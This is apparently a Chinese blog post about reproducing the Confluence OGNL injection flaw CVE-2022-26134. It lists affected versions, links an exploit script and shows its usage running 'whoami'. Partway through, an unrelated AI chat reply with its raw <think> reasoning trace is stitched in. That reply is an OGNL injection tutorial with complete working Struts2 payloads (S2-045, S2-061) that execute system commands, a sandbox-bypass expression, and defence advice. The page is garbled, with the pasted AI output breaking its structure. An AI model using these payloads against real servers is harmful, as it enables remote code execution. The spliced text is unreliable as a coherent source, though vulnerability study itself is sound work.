Confluence OGNL 注入漏洞(CVE-2022-26134)复现

更新时间:2022.06.05

1. 漏洞描述

Confluence是一款专业的企业知识管理与协同软件,常用于企业wiki的构建,支持团队成员间开展信息共享、文档协作、集体讨论和信息推送等工作,具有较为便捷的编辑和站点管理特性。该软件由Atlassian公司负责开发和维护。
2022年6月3日,国家信息安全漏洞共享平台(CNVD)收录了Confluence远程代码执行漏洞(CNVD-2022-43094,对应CVE-2022-26134)。未经身份验证的攻击者利用该漏洞可在目标服务器执行任意代码。目前,漏洞细节信息尚未公开,厂商已发布漏洞缓解建议,暂未发布修复补丁。
参考至:https://www.cnvd.org.cn/webinfo/show/7756

image.png

2. 影响版本

所有未打补丁的版本均受到影响,请尽快升级至以下版本

7.4.17
7.13.7
7.14.3
7.15.2
7.16.4
7.17.4
7.18.1

参考:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. 漏洞复现

本文仅对其进行简单复现,相关脚本请至https://github.com/crow821/下载。
或者在本公众号回复关键字:26134 进行下载

image.png

使用方法:

python3 CVE-2022-26134.py http://127.0.0.1 whoami

警告⚠️

漏洞仅限本地复现使用,请遵守网络安全法律法规,违者使用与本程序开发者无关

image.png

image.png

<think>嗯,用户之前问过文件上传漏洞的触发路径,现在又转向了OGNL注入漏洞。这说明用户可能正在学习或研究各种Web安全漏洞,需要详细了解不同类型的攻击方式。用户可能是安全研究人员、开发者,或者学生,希望深入理解漏洞原理以便防御。 首先,我需要回顾OGNL注入的基本概念。OGNL是Object-Graph Navigation Language,主要用于Java框架如Struts中处理表达式。注入漏洞通常发生在框架未正确过滤用户输入,导致攻击者能够执行任意代码。 接下来,思考用户的需求。他们可能已经知道文件上传漏洞的触发路径,现在想了解另一个漏洞类型。需要将OGNL注入的触发路径结构化,分点说明,类似于之前的回答,保持一致性。同时,要确保技术细节准确,比如具体的攻击示例和触发条件。 用户可能想知道漏洞是如何被触发的,包括哪些框架或场景容易受影响,攻击者如何利用输入点,以及具体的利用方式。需要覆盖常见的触发路径,如参数注入、标签属性注入、二次解析等,并举例说明,比如Struts2的历史漏洞。 另外,用户可能对防御措施感兴趣,所以在回答的最后要给出防御建议,帮助他们在实际开发中避免此类漏洞。需要强调输入过滤、沙箱机制、框架升级和权限最小化等关键点。 还要注意回答的结构清晰,分点列出,使用标题和子标题,方便用户阅读。同时,确保使用中文,避免专业术语过于晦涩,必要时进行解释,比如解释OGNL是什么,以及它在哪些框架中被使用。 最后,检查是否有遗漏的重要信息,确保覆盖所有常见的触发路径和示例,比如提到CVE编号,增强回答的可信度。同时,确保技术细节正确,比如提到Struts2的漏洞实例,如S2-045、S2-061,以及攻击payload的构造方式。 总结来说,回答需要结构清晰,技术准确,示例具体,并包含防御措施,满足用户从理解到应用的需求。</think>OGNL(Object-Graph Navigation Language)注入漏洞是一种因表达式解析不当导致的安全问题,常见于基于Java的Web框架(如Struts2)。其核心触发路径是**攻击者通过控制用户输入,构造恶意OGNL表达式,最终在服务端执行任意代码**。以下是典型的触发路径及技术细节: --- ### **1. 用户输入直接拼接OGNL表达式** - **触发条件**:框架将用户输入未经过滤直接拼接到OGNL表达式中解析。 - **攻击示例**: - 攻击者通过HTTP参数注入OGNL表达式。例如,在Struts2的某些漏洞中(如S2-045),通过`Content-Type`头传入恶意表达式: ```http Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))} ``` - 服务端解析该表达式后,执行系统命令(如`id`)并返回结果。 --- ### **2. 动态调用方法时参数可控** - **触发条件**:框架允许通过参数动态调用对象方法,但未对方法名或参数进行过滤。 - **攻击示例**: - 在Struts2的`ParametersInterceptor`中,若配置`acceptParamNames`过于宽松,攻击者可传入类似`(#application).get('key')`的表达式,直接操作ServletContext等对象。 --- ### **3. 标签属性值解析漏洞** - **触发条件**:UI标签(如JSP标签)的属性值被解析为OGNL表达式。 - **攻击示例**: - 在Struts2的某些版本中(如S2-061),攻击者通过控制标签属性触发表达式解析: ```jsp <s:textfield name="%{(#_memberAccess['allowStaticMethodAccess']=true, @java.lang.Runtime@getRuntime().exec('calc'))}"/> ``` - 服务端解析标签时执行表达式,启动计算器程序(`calc`)。 --- ### **4. 二次解析漏洞** - **触发条件**:用户输入在多层解析过程中被错误地二次解析为OGNL表达式。 - **攻击示例**: - 攻击者传入经过URL编码的表达式(如`%25{...}`),框架第一次解码得到`%{...}`,第二次解析时将其作为OGNL表达式执行。 --- ### **5. 默认沙箱绕过** - **触发条件**:框架的OGNL沙箱防护被绕过(如通过反射修改访问权限)。 - **攻击示例**: - 利用OGNL的上下文特性,通过`#_memberAccess`变量关闭安全限制: ```ognl #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS, @java.lang.Runtime@getRuntime().exec('命令') ``` --- ### **漏洞防御建议** 1. **输入过滤与转义**: - 对用户输入的`%{...}`、`$`等特殊符号进行转义或拦截。 2. **启用OGNL沙箱**: - 限制表达式可访问的类和方法(如Struts2的`struts.ognl.allowStaticMethodAccess`设为`false`)。 3. **升级框架版本**: - 及时修复已知漏洞(如Struts2的S2-045、S2-061等CVE)。 4. **最小化权限运行**: - 使用低权限用户运行应用服务,减少命令执行的影响范围。 --- **总结**:OGNL注入漏洞的核心触发路径是**攻击者通过可控输入点注入恶意表达式**,利用框架解析机制执行任意代码。其危害包括远程命令执行、数据泄露等,需结合框架特性与安全配置进行防御。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值